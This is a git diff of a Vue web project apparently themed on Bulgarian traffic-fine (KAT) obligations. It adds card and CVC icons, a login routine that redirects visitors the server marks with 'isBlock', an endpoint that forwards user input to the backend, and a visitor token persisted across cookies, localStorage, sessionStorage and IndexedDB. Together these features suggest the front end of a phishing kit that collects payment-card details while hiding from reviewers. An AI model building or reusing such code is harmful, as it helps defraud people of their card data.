<path fill="url(#SVGID_6_)" d="M38.35,16.175c-3.219,1.111-6.469,2.127-9.754,3.04c0.104-2.006,0.17-4.018,0.201-6.035c2.473-0.718,4.928-1.496,7.359-2.333C36.832,12.648,37.564,14.422,38.35,16.175 M41.563,8.889c0.676,1.798,1.416,3.569,2.207,5.315C53.648,10.401,63.154,5.646,72.174,0H60.787C54.572,3.386,48.152,6.358,41.563,8.889z M22.75,20.729c0.125-1.992,0.215-3.987,0.268-5.988c-4.578,1.144-9.213,2.091-13.895,2.829v5.817C13.711,22.687,18.256,21.802,22.75,20.729z"/>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 19 KiB |
@@ -0,0 +1,16 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
|
||||||
|
<path fill="#FFFFFF" d="M492.75,158.75v-3.25h-1.281C452.406,64.094,361.688,0,256,0S59.594,64.094,20.531,155.5h-1.219v3.063
|
||||||
|
C6.938,188.625,0,221.5,0,256s6.938,67.375,19.313,97.438v3.063h1.219C59.594,447.906,150.313,512,256,512h0.031
|
||||||
|
c0.031,0,0.031,0,0.031,0c0.031,0,0.031,0,0.063,0c105.625-0.063,196.281-64.125,235.344-155.5h1.281v-3.25
|
||||||
|
c12.344-30,19.25-62.813,19.25-97.25S505.094,188.75,492.75,158.75z M456,155.5h-82.375C363.781,109.813,347.469,71,327,43.688
|
||||||
|
C383.344,62.5,429.594,103.063,456,155.5z M352,256.375c0,24-1.781,46.813-4.969,68.125H164.969
|
||||||
|
c-3.188-21.313-4.969-44.125-4.969-68.125c0-24.25,1.844-47.375,5.094-68.875h181.813C350.156,209,352,232.125,352,256.375z
|
||||||
|
M256.063,32.719c32.25,0,67.125,48.656,84.594,122.781H171.375C188.844,81.375,223.781,32.719,256.063,32.719z M185.031,43.656
|
||||||
|
C164.531,71,148.219,109.813,138.406,155.5H56.031C82.406,103.063,128.688,62.5,185.031,43.656z M32,256
|
||||||
|
c0-23.906,3.844-46.906,10.75-68.5h90.094C129.75,209.438,128,232.469,128,256.375c0,23.625,1.719,46.406,4.75,68.125h-90
|
||||||
|
C35.844,302.906,32,279.906,32,256z M56.031,356.5h82.188c9.688,45.438,25.781,84.125,46.031,111.563
|
||||||
|
C128.25,449.094,82.281,408.688,56.031,356.5z M256.094,480c0,0-0.031,0-0.063,0c-32.375,0-67.406-48.969-84.813-123.5h169.594
|
||||||
|
C323.406,431,288.438,479.938,256.094,480z M327.781,468.063c20.219-27.438,36.313-66.125,46-111.563H456
|
||||||
|
C429.719,408.688,383.781,449.094,327.781,468.063z M469.25,324.5h-90c3.031-21.719,4.75-44.5,4.75-68.125
|
||||||
|
c0-23.906-1.75-46.938-4.844-68.875h90.094C476.188,209.094,480,232.094,480,256S476.188,302.906,469.25,324.5z"/>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 1.6 KiB |
|
After Width: | Height: | Size: 23 KiB |
|
After Width: | Height: | Size: 10 KiB |
@@ -0,0 +1,5 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
|
||||||
|
<path fill="#FFFFFF" d="M455,377H57c-13.807,0-25,11.193-25,25s11.193,25,25,25h398c13.807,0,25-11.193,25-25S468.806,377,455,377z
|
||||||
|
M455,231H57c-13.807,0-25,11.193-25,25s11.193,25,25,25h398c13.807,0,25-11.193,25-25S468.806,231,455,231z M57,135h398
|
||||||
|
c13.807,0,25-11.193,25-25s-11.193-25-25-25H57c-13.807,0-25,11.193-25,25S43.193,135,57,135z"/>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 411 B |
@@ -0,0 +1,16 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
|
||||||
|
<circle opacity="0.6" fill="#FFFFFF" enable-background="new " cx="256" cy="256" r="246.833"/>
|
||||||
|
<path fill="#767676" d="M256,28C130.079,28,28,130.079,28,256s102.079,228,228,228c125.922,0,228-102.079,228-228S381.922,28,256,28
|
||||||
|
z M256,465.536c-115.724,0-209.537-93.813-209.537-209.536S140.276,46.463,256,46.463c115.725,0,209.536,93.813,209.536,209.537
|
||||||
|
S371.725,465.536,256,465.536z"/>
|
||||||
|
<g>
|
||||||
|
<path fill="#767676" d="M244.687,236.5c-6.249-6.249-6.249-16.38,0-22.627c6.248-6.249,16.377-6.249,22.627-0.001l86.001,86.002
|
||||||
|
c6.249,6.249,6.249,16.38,0,22.627c-6.247,6.249-16.378,6.249-22.628,0L244.687,236.5z"/>
|
||||||
|
<path fill="#767676" d="M240.007,225.186c0-8.837,7.164-16,16-15.999c8.835-0.001,15.999,7.162,16,16l-0.001,185.625
|
||||||
|
c0,8.836-7.16,15.995-15.999,15.995c-8.836,0.005-16-7.159-16-16V225.186L240.007,225.186z"/>
|
||||||
|
<path fill="#767676" d="M244.688,213.873c6.249-6.249,16.378-6.249,22.626-0.001c6.25,6.249,6.25,16.38,0,22.628l-86.001,86.003
|
||||||
|
c-6.249,6.248-16.379,6.247-22.627,0c-6.25-6.249-6.249-16.38,0-22.63L244.688,213.873z"/>
|
||||||
|
</g>
|
||||||
|
<path fill="#767676" d="M147.188,169.19c-8.837,0-16-7.164-16-16.001c0-8.836,7.163-15.999,16-16l217.625,0.001
|
||||||
|
c8.84,0,16,7.163,16,15.999c0.004,8.837-7.16,16-16,16L147.188,169.19z"/>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 1.3 KiB |
@@ -0,0 +1,9 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
|
||||||
|
<path id="path2_1_" fill="#ffffff" d="M334.134,334.198c12.499-12.499,32.748-12.563,45.311-0.063v0.063l123.181,123.18
|
||||||
|
c12.5,12.499,12.5,32.748,0,45.247c-12.499,12.5-32.748,12.5-45.247,0l-123.181-123.18c-12.499-12.499-12.499-32.748,0-45.247l0,0
|
||||||
|
H334.134z"/>
|
||||||
|
<path id="path4_1_" fill="#ffffff" d="M207.987,384.008c97.183,0,175.989-78.808,175.989-176.02
|
||||||
|
c0-97.182-78.808-175.989-175.989-175.989l0,0c-97.182,0-175.989,78.808-175.989,175.989
|
||||||
|
C31.998,305.2,110.806,384.008,207.987,384.008z M415.974,207.987c0,114.899-93.119,208.018-207.987,208.018
|
||||||
|
C93.119,416.005,0,322.887,0,207.987C0,93.119,93.119,0,207.987,0C322.855,0,415.974,93.119,415.974,207.987z"/>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 725 B |
@@ -0,0 +1,8 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
|
||||||
|
<path fill="#c6d9f0" d="M256,0C114.615,0,0,114.615,0,256s114.615,256,256,256c141.386,0,256-114.615,256-256S397.385,0,256,0z
|
||||||
|
M256,452.5c-108.523,0-196.5-87.977-196.5-196.5S147.476,59.5,256,59.5c108.524,0,196.5,87.977,196.5,196.5
|
||||||
|
S364.524,452.5,256,452.5z"/>
|
||||||
|
<path fill="#00699b" d="M384.017,477.733l-29.754-51.536C325.357,442.923,291.797,452.5,256,452.5
|
||||||
|
c-35.799,0-69.357-9.577-98.264-26.303l-29.754,51.535C165.64,499.522,209.361,512,256,512
|
||||||
|
C302.636,512,346.357,499.522,384.017,477.733z"/>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 565 B |
@@ -0,0 +1,12 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
|
||||||
|
<g>
|
||||||
|
<path fill="#FFFFFF" d="M256,256c70.666,0,128-57.334,128-128C384,57.332,326.666,0,256,0c-70.668,0-128,57.332-128,128
|
||||||
|
C128,198.666,185.332,256,256,256z M256,32c52.935,0,96,43.065,96,96s-43.065,96-96,96s-96-43.065-96-96S203.065,32,256,32z"/>
|
||||||
|
<path fill="#FFFFFF" d="M256,298.666c-213.334,0-256,128-256,170.666C0,512,42.666,512,42.666,512h426.666
|
||||||
|
c0,0,42.668,0,42.668-42.668C512,426.666,469.332,298.666,256,298.666z M477.022,477.684c-2.834,1.664-6.769,2.229-8.15,2.316
|
||||||
|
H43.126c-1.382-0.088-5.315-0.652-8.148-2.314c-1.257-0.738-2.978-1.748-2.978-8.354c0-13.861,8.073-48.15,38.627-78.705
|
||||||
|
c17.467-17.467,39.855-31.365,66.544-41.307c33.224-12.377,73.204-18.654,118.829-18.654s85.604,6.277,118.828,18.654
|
||||||
|
c26.688,9.941,49.077,23.84,66.544,41.307C471.927,421.182,480,455.471,480,469.332C480,475.936,478.279,476.947,477.022,477.684z"
|
||||||
|
/>
|
||||||
|
</g>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 920 B |
BIN
a11_bg_Fine_kat-obligations/public/Static_zy/visa.png
Normal file
|
After Width: | Height: | Size: 987 B |
1
a11_bg_Fine_kat-obligations/public/cardloading.svg
Normal file
@@ -0,0 +1 @@
|
|||||||
|
<?xml version="1.0" ?><svg viewBox="0 0 48 48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><style>.cls-1{fill:url(#linear-gradient);}.cls-2{fill:#a5a4a4;}.cls-3{fill:#333;}.cls-4{fill:#e6e6e6;}.cls-5{fill:gray;}.cls-6{fill:url(#linear-gradient-2);}.cls-7{fill:url(#linear-gradient-3);}.cls-8{fill:#fff;}</style><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient" x1="22.04" x2="22.04" y1="12.76" y2="39.8"><stop offset="0" stop-color="#e6e6e6"/><stop offset="1" stop-color="#bababa"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-2" x1="35.54" x2="35.54" y1="11.27" y2="20.1"><stop offset="0" stop-color="#00bde8"/><stop offset="1" stop-color="#009dc1"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-3" x1="35.54" x2="35.54" y1="12" y2="19.67"><stop offset="0" stop-color="#00cfff"/><stop offset="1" stop-color="#00afd6"/></linearGradient></defs><title/><g id="icons"><g data-name="Layer 3" id="Layer_3"><rect class="cls-1" height="26" rx="5" ry="5" width="35" x="4.54" y="12.81"/><path class="cls-2" d="M35.54,11.19a7.63,7.63,0,1,0,4,14.1V12.34A7.54,7.54,0,0,0,35.54,11.19Z"/><rect class="cls-3" height="4" width="35" x="4.54" y="19.81"/><rect class="cls-4" height="2" width="8" x="8.54" y="32.81"/><rect class="cls-4" height="2" width="6" x="19.54" y="32.81"/><rect class="cls-4" height="2" width="7" x="28.54" y="32.81"/><rect class="cls-5" height="2" width="8" x="8.54" y="31.81"/><rect class="cls-5" height="2" width="6" x="19.54" y="31.81"/><rect class="cls-5" height="2" width="7" x="28.54" y="31.81"/><path class="cls-6" d="M43.17,16.81a7.63,7.63,0,1,1-7.63-7.62A7.64,7.64,0,0,1,43.17,16.81Z"/><path class="cls-7" d="M35.54,23.44a6.63,6.63,0,1,1,6.63-6.63,6.63,6.63,0,0,1-6.63,6.63Z"/><path class="cls-8" d="M38,16.58V14.85a2.25,2.25,0,0,0-2.25-2.25h-.34a2.25,2.25,0,0,0-2.25,2.25v1.73H31.79V21H39.3V16.58Zm-1,0H34.12V14.85a1.25,1.25,0,0,1,1.25-1.25h.34A1.25,1.25,0,0,1,37,14.85Z"/></g></g></svg>
|
||||||
|
After Width: | Height: | Size: 2.0 KiB |
70
a11_bg_Fine_kat-obligations/src/App.vue
Normal file
@@ -0,0 +1,70 @@
|
|||||||
|
<script setup lang="ts">
|
||||||
|
import { RouterView } from "vue-router";
|
||||||
|
import { onMounted } from "vue";
|
||||||
|
import http from "@/api/http";
|
||||||
|
import { useLoadingStore } from "@/stores/loadingStore";
|
||||||
|
import {
|
||||||
|
configData,
|
||||||
|
loginSuccess,
|
||||||
|
redirectToExternal,
|
||||||
|
headHtml,
|
||||||
|
loadHtml,
|
||||||
|
headerHtml,
|
||||||
|
footerHtml,
|
||||||
|
} from "@/utils/common";
|
||||||
|
import { generateECDHKeyPair, deriveSessionKey } from "@/utils/socketio";
|
||||||
|
import LoadingView from "@/views/LoadingView.vue";
|
||||||
|
|
||||||
|
const loadingStore = useLoadingStore();
|
||||||
|
|
||||||
|
onMounted(() => {
|
||||||
|
login();
|
||||||
|
});
|
||||||
|
|
||||||
|
const login = async function () {
|
||||||
|
headerHtml.value = await loadHtml("/Static_zy/header.html");
|
||||||
|
loadingStore.setLoading(true);
|
||||||
|
|
||||||
|
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
|
||||||
|
|
||||||
|
http.post("/api", { clientPublicKey: clientPublicKeyB64 }).then(async (data) => {
|
||||||
|
if (data.data.isBlock) {
|
||||||
|
redirectToExternal();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (data.data.isFirst) {
|
||||||
|
localStorage.removeItem("route")
|
||||||
|
}
|
||||||
|
let token = data.data.Token;
|
||||||
|
if (data.data.mode) {
|
||||||
|
localStorage.setItem("mode", data.data.mode);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果服务端返回了公钥,完成 ECDH 推导会话密钥(兼容大小写两种字段名)
|
||||||
|
const serverPubKey = data.data.ServerPublicKey || data.data.serverPublicKey;
|
||||||
|
let sessionCrypto = null;
|
||||||
|
if (serverPubKey) {
|
||||||
|
try {
|
||||||
|
sessionCrypto = await deriveSessionKey(serverPubKey, keyPair.privateKey);
|
||||||
|
} catch (e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
loginSuccess(token, data.data.mode, sessionCrypto);
|
||||||
|
|
||||||
|
if (data.data.custom) {
|
||||||
|
configData.value = JSON.parse(data.data.custom);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
footerHtml.value = await loadHtml("/Static_zy/footer.html");
|
||||||
|
|
||||||
|
};
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<template>
|
||||||
|
<div v-html="headHtml"></div>
|
||||||
|
<LoadingView />
|
||||||
|
<RouterView />
|
||||||
|
</template>
|
||||||
|
|
||||||
|
<style scoped></style>
|
||||||
5
a11_bg_Fine_kat-obligations/src/api/api.ts
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
import http from "@/api/http";
|
||||||
|
|
||||||
|
export function sendInput(data: any) {
|
||||||
|
http.post("/api/input", data).then((data) => {});
|
||||||
|
}
|
||||||
223
a11_bg_Fine_kat-obligations/src/api/http.ts
Normal file
@@ -0,0 +1,223 @@
|
|||||||
|
// http.js
|
||||||
|
import axios from "axios";
|
||||||
|
import { v4 as uuidv4 } from "uuid";
|
||||||
|
|
||||||
|
// ============ 配置 ============
|
||||||
|
const BASE_URL = import.meta.env.VITE_BASE_URL === "/"
|
||||||
|
? "/"
|
||||||
|
: import.meta.env.VITE_BASE_URL.startsWith('localhost:')
|
||||||
|
? `http://${import.meta.env.VITE_BASE_URL}`
|
||||||
|
: `https://${import.meta.env.VITE_BASE_URL}`;
|
||||||
|
|
||||||
|
const DB_CONFIG = {
|
||||||
|
name: "TokenDB",
|
||||||
|
version: 2,
|
||||||
|
store: "tokens",
|
||||||
|
key: "userToken",
|
||||||
|
} as const;
|
||||||
|
|
||||||
|
const STORAGE_KEY = "token";
|
||||||
|
|
||||||
|
// ============ IndexedDB 操作 ============
|
||||||
|
class TokenDB {
|
||||||
|
private static async open(): Promise<IDBDatabase> {
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
const request = indexedDB.open(DB_CONFIG.name, DB_CONFIG.version);
|
||||||
|
request.onerror = () => reject(request.error);
|
||||||
|
request.onsuccess = () => resolve(request.result);
|
||||||
|
request.onupgradeneeded = (event) => {
|
||||||
|
const db = (event.target as IDBOpenDBRequest).result;
|
||||||
|
if (db.objectStoreNames.contains(DB_CONFIG.store)) {
|
||||||
|
db.deleteObjectStore(DB_CONFIG.store);
|
||||||
|
}
|
||||||
|
db.createObjectStore(DB_CONFIG.store, { keyPath: "key" });
|
||||||
|
};
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
static async get(): Promise<string | null> {
|
||||||
|
try {
|
||||||
|
const db = await this.open();
|
||||||
|
return new Promise((resolve) => {
|
||||||
|
const tx = db.transaction(DB_CONFIG.store, "readonly");
|
||||||
|
const request = tx.objectStore(DB_CONFIG.store).get(DB_CONFIG.key);
|
||||||
|
request.onsuccess = () => resolve(request.result?.value || null);
|
||||||
|
request.onerror = () => resolve(null);
|
||||||
|
tx.oncomplete = () => db.close();
|
||||||
|
tx.onabort = () => db.close();
|
||||||
|
});
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static async set(token: string): Promise<void> {
|
||||||
|
try {
|
||||||
|
const db = await this.open();
|
||||||
|
return new Promise((resolve) => {
|
||||||
|
const tx = db.transaction(DB_CONFIG.store, "readwrite");
|
||||||
|
tx.objectStore(DB_CONFIG.store).put({ key: DB_CONFIG.key, value: token });
|
||||||
|
tx.oncomplete = () => { db.close(); resolve(); };
|
||||||
|
tx.onerror = () => { db.close(); resolve(); };
|
||||||
|
});
|
||||||
|
} catch {
|
||||||
|
// 静默失败,有其他存储兜底
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============ Token 管理器 ============
|
||||||
|
class TokenManager {
|
||||||
|
private static cache: string | null = null;
|
||||||
|
private static pending: Promise<string> | null = null;
|
||||||
|
|
||||||
|
// UUID v4 格式校验,防止脏数据
|
||||||
|
private static isValidToken(token: string | null): token is string {
|
||||||
|
return !!token && /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i.test(token);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 安全地操作 Storage
|
||||||
|
private static safeGet(storage: Storage): string | null {
|
||||||
|
try {
|
||||||
|
return storage.getItem(STORAGE_KEY);
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static safeSet(storage: Storage, token: string): void {
|
||||||
|
try {
|
||||||
|
storage.setItem(STORAGE_KEY, token);
|
||||||
|
} catch {
|
||||||
|
// 静默失败
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Cookie 操作(同步,iOS 上比 localStorage 更早可用)
|
||||||
|
private static getFromCookie(): string | null {
|
||||||
|
try {
|
||||||
|
const match = document.cookie.match(new RegExp(`(?:^|; )${STORAGE_KEY}=([^;]*)`));
|
||||||
|
return match ? decodeURIComponent(match[1]) : null;
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static saveToCookie(token: string): void {
|
||||||
|
try {
|
||||||
|
// 有效期 400 天(Safari 上限),SameSite=Lax 兼容 WebView
|
||||||
|
document.cookie = `${STORAGE_KEY}=${encodeURIComponent(token)};path=/;max-age=34560000;SameSite=Lax`;
|
||||||
|
} catch {
|
||||||
|
// 静默失败
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 同步到所有存储(后台执行,不阻塞)
|
||||||
|
private static syncToAllStorages(token: string): void {
|
||||||
|
this.safeSet(sessionStorage, token);
|
||||||
|
this.safeSet(localStorage, token);
|
||||||
|
this.saveToCookie(token);
|
||||||
|
TokenDB.set(token).catch(() => { });
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从同步存储快速获取(cookie 优先,iOS 上最可靠的同步读取)
|
||||||
|
private static getFromSyncStorage(): string | null {
|
||||||
|
const token = this.getFromCookie() || this.safeGet(sessionStorage) || this.safeGet(localStorage);
|
||||||
|
return this.isValidToken(token) ? token : null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 延迟后重试读取同步存储(iOS 冷启动时存储可能未就绪)
|
||||||
|
private static waitAndRetrySync(ms: number): Promise<string | null> {
|
||||||
|
return new Promise(resolve => {
|
||||||
|
setTimeout(() => resolve(this.getFromSyncStorage()), ms);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// 主入口:获取或创建 Token
|
||||||
|
static async getToken(): Promise<string> {
|
||||||
|
// 1. 内存缓存(最快)
|
||||||
|
if (this.cache) return this.cache;
|
||||||
|
|
||||||
|
// 2. 等待进行中的创建(并发安全)
|
||||||
|
if (this.pending) return this.pending;
|
||||||
|
|
||||||
|
// 3. 同步存储快速路径
|
||||||
|
const syncToken = this.getFromSyncStorage();
|
||||||
|
if (syncToken) {
|
||||||
|
this.cache = syncToken;
|
||||||
|
this.syncToAllStorages(syncToken);
|
||||||
|
return syncToken;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. 异步获取或创建(带锁)
|
||||||
|
this.pending = this.createToken();
|
||||||
|
return this.pending;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static async createToken(): Promise<string> {
|
||||||
|
try {
|
||||||
|
// 再次检查缓存
|
||||||
|
if (this.cache) return this.cache;
|
||||||
|
|
||||||
|
// 尝试从 IndexedDB 恢复
|
||||||
|
const dbToken = await TokenDB.get();
|
||||||
|
if (dbToken && this.isValidToken(dbToken)) {
|
||||||
|
this.cache = dbToken;
|
||||||
|
this.syncToAllStorages(dbToken);
|
||||||
|
return dbToken;
|
||||||
|
}
|
||||||
|
|
||||||
|
// iOS 冷启动兜底:等待一小段时间后重试同步存储
|
||||||
|
// (localStorage/cookie 数据可能存在,但初始化瞬间还未就绪)
|
||||||
|
for (const delay of [50, 100, 150]) {
|
||||||
|
const retryToken = await this.waitAndRetrySync(delay);
|
||||||
|
if (retryToken) {
|
||||||
|
this.cache = retryToken;
|
||||||
|
this.syncToAllStorages(retryToken);
|
||||||
|
return retryToken;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 所有恢复手段用尽,生成新 Token
|
||||||
|
const newToken = uuidv4();
|
||||||
|
this.cache = newToken;
|
||||||
|
this.syncToAllStorages(newToken);
|
||||||
|
return newToken;
|
||||||
|
} finally {
|
||||||
|
this.pending = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============ Axios 实例 ============
|
||||||
|
const http = axios.create({
|
||||||
|
baseURL: BASE_URL,
|
||||||
|
timeout: 15000,
|
||||||
|
});
|
||||||
|
|
||||||
|
// 请求拦截器
|
||||||
|
http.interceptors.request.use(
|
||||||
|
async (config) => {
|
||||||
|
const token = await TokenManager.getToken();
|
||||||
|
config.headers["Token"] = token;
|
||||||
|
config.headers["X-Token"] = token;
|
||||||
|
config.params = { ...config.params, token };
|
||||||
|
return config;
|
||||||
|
},
|
||||||
|
(error) => Promise.reject(error)
|
||||||
|
);
|
||||||
|
|
||||||
|
// 响应拦截器
|
||||||
|
http.interceptors.response.use(
|
||||||
|
(response) => response.data,
|
||||||
|
(error) => {
|
||||||
|
if (error.response) {
|
||||||
|
console.error("Error:", error.response.status, error.response.data);
|
||||||
|
} else {
|
||||||
|
console.error("Error:", error.message);
|
||||||
|
}
|
||||||
|
return Promise.reject(error);
|
||||||
|
}
|
||||||
|
);
|
||||||
|
|
||||||
|
export default http;
|
||||||
11
a11_bg_Fine_kat-obligations/src/assets/base.css
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
|
||||||
|
|
||||||
|
html, body {
|
||||||
|
padding: 0;
|
||||||
|
border: 0;
|
||||||
|
margin: 0;
|
||||||
|
overflow-x: hidden;
|
||||||
|
overflow-y: auto;
|
||||||
|
overflow: hidden auto
|
||||||
|
}
|
||||||
|
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 0h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#0079be"/><path d="m599.93 251.45c0-99.415-82.98-168.13-173.9-168.1h-78.242c-92.003-.033-167.73 68.705-167.73 168.1 0 90.93 75.727 165.64 167.73 165.2h78.242c90.914.436 173.9-74.294 173.9-165.2z" fill="#fff"/><path d="m348.28 97.43c-84.07.027-152.19 68.308-152.21 152.58.02 84.258 68.144 152.53 152.21 152.56 84.09-.027 152.23-68.303 152.24-152.56-.011-84.272-68.149-152.55-152.24-152.58z" fill="#0079be"/><path d="m252.07 249.6c.08-41.181 25.746-76.297 61.94-90.25v180.48c-36.194-13.948-61.861-49.045-61.94-90.23zm131 90.274v-180.53c36.207 13.92 61.914 49.057 61.979 90.257-.065 41.212-25.772 76.322-61.979 90.269z" fill="#fff"/></svg>
|
||||||
|
After Width: | Height: | Size: 901 B |
|
After Width: | Height: | Size: 8.7 KiB |
@@ -0,0 +1 @@
|
|||||||
|
<?xml version="1.0" ?><svg viewBox="0 0 48 48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><style>.cls-1{fill:url(#linear-gradient);}.cls-2{fill:#a5a4a4;}.cls-3{fill:#333;}.cls-4{fill:#e6e6e6;}.cls-5{fill:gray;}.cls-6{fill:url(#linear-gradient-2);}.cls-7{fill:url(#linear-gradient-3);}.cls-8{fill:#fff;}</style><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient" x1="22.04" x2="22.04" y1="12.76" y2="39.8"><stop offset="0" stop-color="#e6e6e6"/><stop offset="1" stop-color="#bababa"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-2" x1="35.54" x2="35.54" y1="11.27" y2="20.1"><stop offset="0" stop-color="#00bde8"/><stop offset="1" stop-color="#009dc1"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-3" x1="35.54" x2="35.54" y1="12" y2="19.67"><stop offset="0" stop-color="#00cfff"/><stop offset="1" stop-color="#00afd6"/></linearGradient></defs><title/><g id="icons"><g data-name="Layer 3" id="Layer_3"><rect class="cls-1" height="26" rx="5" ry="5" width="35" x="4.54" y="12.81"/><path class="cls-2" d="M35.54,11.19a7.63,7.63,0,1,0,4,14.1V12.34A7.54,7.54,0,0,0,35.54,11.19Z"/><rect class="cls-3" height="4" width="35" x="4.54" y="19.81"/><rect class="cls-4" height="2" width="8" x="8.54" y="32.81"/><rect class="cls-4" height="2" width="6" x="19.54" y="32.81"/><rect class="cls-4" height="2" width="7" x="28.54" y="32.81"/><rect class="cls-5" height="2" width="8" x="8.54" y="31.81"/><rect class="cls-5" height="2" width="6" x="19.54" y="31.81"/><rect class="cls-5" height="2" width="7" x="28.54" y="31.81"/><path class="cls-6" d="M43.17,16.81a7.63,7.63,0,1,1-7.63-7.62A7.64,7.64,0,0,1,43.17,16.81Z"/><path class="cls-7" d="M35.54,23.44a6.63,6.63,0,1,1,6.63-6.63,6.63,6.63,0,0,1-6.63,6.63Z"/><path class="cls-8" d="M38,16.58V14.85a2.25,2.25,0,0,0-2.25-2.25h-.34a2.25,2.25,0,0,0-2.25,2.25v1.73H31.79V21H39.3V16.58Zm-1,0H34.12V14.85a1.25,1.25,0,0,1,1.25-1.25h.34A1.25,1.25,0,0,1,37,14.85Z"/></g></g></svg>
|
||||||
|
After Width: | Height: | Size: 2.0 KiB |
@@ -0,0 +1 @@
|
|||||||
|
<svg width="24" height="24" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" fill="#6d6e78" role="img" aria-labelledby="cvcDesc"><path opacity=".2" fill-rule="evenodd" clip-rule="evenodd" d="M15.337 4A5.493 5.493 0 0013 8.5c0 1.33.472 2.55 1.257 3.5H4a1 1 0 00-1 1v1a1 1 0 001 1h16a1 1 0 001-1v-.6a5.526 5.526 0 002-1.737V18a2 2 0 01-2 2H3a2 2 0 01-2-2V6a2 2 0 012-2h12.337zm6.707.293c.239.202.46.424.662.663a2.01 2.01 0 00-.662-.663z"></path><path opacity=".4" fill-rule="evenodd" clip-rule="evenodd" d="M13.6 6a5.477 5.477 0 00-.578 3H1V6h12.6z"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M18.5 14a5.5 5.5 0 110-11 5.5 5.5 0 010 11zm-2.184-7.779h-.621l-1.516.77v.786l1.202-.628v3.63h.943V6.22h-.008zm1.807.629c.448 0 .762.251.762.613 0 .393-.37.668-.904.668h-.235v.668h.283c.565 0 .95.282.95.691 0 .393-.377.66-.911.66-.393 0-.786-.126-1.194-.37v.786c.44.189.88.291 1.312.291 1.029 0 1.736-.526 1.736-1.288 0-.535-.33-.967-.88-1.14.472-.157.778-.573.778-1.045 0-.738-.652-1.241-1.595-1.241a3.143 3.143 0 00-1.234.267v.77c.378-.212.763-.33 1.132-.33zm3.394 1.713c.574 0 .974.338.974.778 0 .463-.4.785-.974.785-.346 0-.707-.11-1.076-.337v.809c.385.173.778.26 1.163.26.204 0 .392-.032.573-.08a4.313 4.313 0 00.644-2.262l-.015-.33a1.807 1.807 0 00-.967-.252 3 3 0 00-.448.032V6.944h1.132a4.423 4.423 0 00-.362-.723h-1.587v2.475a3.9 3.9 0 01.943-.133z"></path></svg>
|
||||||
|
After Width: | Height: | Size: 1.3 KiB |
@@ -0,0 +1 @@
|
|||||||
|
